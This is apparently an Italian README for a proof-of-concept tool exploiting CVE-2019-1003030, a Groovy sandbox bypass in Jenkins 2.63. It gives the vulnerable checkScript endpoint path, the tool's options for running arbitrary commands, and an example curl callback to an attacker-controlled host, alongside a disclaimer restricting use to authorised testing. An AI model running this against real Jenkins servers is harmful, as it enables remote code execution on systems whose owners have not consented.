PoC-CVE-2019-1003030

PoC per il Bypass del Sandbox di Sicurezza degli Script di Jenkins 2.63

Questo progetto automatizza la creazione e l'invio di payload Groovy all'endpoint di validazione SecureGroovyScript di Jenkins utilizzato da Jenkins 2.63. Lo strumento supporta sia l'esecuzione interattiva che quella one-shot. L'exploit non restituisce output, quindi dovrai effettuare alcune verifiche, come fare curl al tuo AP, per assicurarti che funzioni.

Lo strumento supporta entrambe le modalità:

• Modalità di comando interattiva
• Esecuzione di un singolo comando
• Richieste GET e POST
• Supporto opzionale per il crumb CSRF di Jenkins

Disclaimer

Questo progetto è destinato solo a scopi di ricerca sulla sicurezza, CTF, ambienti di laboratorio e test di penetrazione autorizzati. Non utilizzarlo contro sistemi senza autorizzazione esplicita.

usage: Poc.py -u http://10.10.10.10:8080/  [-c 'curl http://10.10.10.9/callback'] [-X POST] [-p /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript]

PoC for sandbox bypass for jenkins 2.63

options:
  -h, --help            show this help message and exit
  -u, --url URL         ip of target
  -X, --method METHOD   post or get
  -b, --breadcrum BREADCRUM
                        optional jenkins crumb string
  -c, --command COMMAND
                        command to run on jenkins, not output expected
  -p, --path PATH       path to the script, you might prepend more